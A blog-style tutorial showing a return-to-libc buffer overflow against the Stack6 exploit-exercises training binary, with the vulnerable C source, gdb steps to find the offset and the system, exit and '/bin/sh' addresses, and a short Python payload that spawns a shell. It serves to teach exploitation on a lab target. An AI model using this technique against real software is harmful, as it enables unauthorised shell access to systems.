Skip to main content

Ret2Libcing like a boss!

Ret2libc is a very common buffer overflow attack.
Let's see what WikiPedia has to tell us about this attack to get a better view of the exploitation method:

A "return-to-libc" attack is a computer security attack usually starting with a buffer overflow in which a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the process’ executable memory, bypassing the NX bit feature (if present) and ridding the attacker of the need to inject their own code.

If you had difficulty understanding this there is no problem because we will get our hands dirty on the next walkthrough of the attack.

           =====EXPLOITATION=====

First step is to compile the executable with the command "gcc code.c"
We have made a code.c file with the source code of Stack6 challenge on exploit exercises.
  •  
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    
    void getpath()
    {
      char buffer[64];
      unsigned int ret;
    
      printf("input path please: "); fflush(stdout);
    
      gets(buffer);
    
      ret = __builtin_return_address(0);
    
      if((ret & 0xbf000000) == 0xbf000000) {
          printf("bzzzt (%p)\n", ret);
          _exit(1);
      }
    
      printf("got path %s\n", buffer);
    }
    
    int main(int argc, char **argv)
    {
      getpath();
    
    
    
    }
    

After the complilation we get a file called "a.out"
a.out is the default output of the executable as long as you did not specify the output filename on the command(`gcc code.c -o myexecname`)
We will use the GNU Debugger aka gdb to debug the program.
To open the executable run the command gdb ./a.out
Now the interesting part comes over.
We can execute the program through the debugger with the command `run` or `r` for short.
Hmm...it asks us for an input...
Let's see if we can overwrite the return address
We use pattern_create.rb to create a unique string of 100 chars and we input it to the program.
Perfect!
We get a Segmentation fault.
Meaning we were able to overwrite the return address and control the flow of the program!!
We can see the invalid address was  0x37634136
Let's calculate that with pattern_offset.rb  
We get the result:
Pattern 0x37634136 first occurrence at position 80 in pattern.
So the offset is 80
Okay. We now need 3 key addresses, the system address, the exit address and the /bin/sh address
we can easily find the system and the exit addresses on gdb by simply typing 
`p system`  and
`p exit`

remember `p` stands for `print`
to find the address of /bin/sh you can simply use the gdb-peda searchmem command(searchmem /bin/sh) to search and find the correct address of /bin/sh in the libc.
But we will show you how you can find it manually through some simple calculations.
First set a breakpoint on main with the command 'break main'
after the program runs you can clearly see it stops almost asap because it hit a breakpoint. Now with the command 'info proc map' we can find the address of libc and the path to it.
For us the output is:


with the path of libc in our hands we can use the strings command to view the content
We use the command `strings -t x -a /lib/libc-2.11.2.so | grep /bin/sh`
And we get the output: 11f3bf /bin/sh
we now go back to our gdb and we add the libc address to the address of /bin/sh 


(gdb) x/s 0xb7e97000 + 0x11f3bf
0xb7fb63bf:     "/bin/sh"

Yeah!
Now we are ready to craft our exploit!
first it will be the junk of some random chars * offset 
so we add:
off = "A"*80
next it will be our system address so we add:
sys_addr = struct.pack("<I",0xb7ecffb0)
next of course our exit address:
exit_addr = struct.pack("<I", 0xb7ec60c0)
and final our /bin/sh address:
bin_sh_addr = struct.pack("<I", 0xb7fb63bf)
the payload will be:
pay = off + sys_addr + exit_addr + bin_sh_addr
and final:
print pay
we save as exploit.py and we run it as `python exploit.py | ./a.out`
this pipe in the middle helps us direct the output in the input of the program
WHAT??
Nothing happened?
haha, you should learn the `cat` trick...
use the command: `(python exploit.py;cat) | ./a.out`
and it should be good to go.


You can see more about it  on LIveOverflow's tutorial on binary exploitation 
minute: 10:24

Author: Mike Tsapralis 





Comments